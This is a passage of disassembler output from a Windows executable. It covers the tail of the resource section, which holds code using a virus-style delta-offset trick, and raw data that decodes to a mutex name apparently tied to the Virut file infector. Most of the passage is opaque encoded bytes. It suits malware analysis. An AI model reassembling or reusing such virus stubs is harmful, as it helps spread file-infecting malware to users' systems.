		dd 0E8FFFFFBh, 0FFFFFF7Fh, 74B8C361h, 0EB000000h, 2FB8B1h
		dd 10E80000h, 0C2000000h, 30B80020h, 0E8000000h, 3, 8D0024C2h
		dd 0CD0C2454h, 0F8832Eh, 0E860197Ch, 0
; ---------------------------------------------------------------------------
		mov	edx, [esp+30h]
		pop	ebp
		mov	ebx, [edx]
		sub	ebp, offset loc_403413
		call	sub_438023
		popa
		retn	4
; ---------------------------------------------------------------------------
		dw 107h
		dd 6050302h, 0B8E76C11h, 15FF0C01h, 1001088h, 90h, 3Fh dup(0)
		dd 809B4700h, 8308AD7Ch, 9103317Ch, 80ADA07Ch, 7Ch, 2 dup(0)
		dd 80BDB600h, 801A247Ch, 80945C7Ch, 8023677Ch, 81042C7Ch
		dd 8106377Ch, 864B0F7Ch, 80C0587Ch, 80E7EC7Ch, 81153C7Ch
		dd 810A777Ch, 831C457Ch, 80B6A17Ch, 8608FF7Ch, 835DCA7Ch
		dd 8111DA7Ch, 812ADE7Ch, 801D777Ch, 80B9057Ch, 80BB767Ch
		dd 8309E17Ch, 863DE57Ch, 863F587Ch, 8127827Ch, 831CB87Ch
		dd 8024427Ch, 810B1C7Ch, 80B9747Ch, 809A517Ch, 810D877Ch
		dd 90D4607Ch, 90D6827Ch, 90D7547Ch, 90D7697Ch, 90D7937Ch
		dd 90DC557Ch, 90DCFD7Ch, 90DD907Ch, 90DEB67Ch, 90EA327Ch
		dd 9130C67Ch, 7Ch, 14h dup(0)
		dd 380036h, 439D1Ch, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	330057h
		dd 5F0032h, 690056h, 740072h, 75h, 0BBh	dup(0)
		dd 69000000h, 0Dh dup(0)
		db 90h
		db 0FDh, 7Fh, 0
		dd 1161h dup(0)
_rsrc		ends

; Section 9. (virtual address 0003F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0003E600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 43F000h
		align 2000h
_idata2		ends


		end start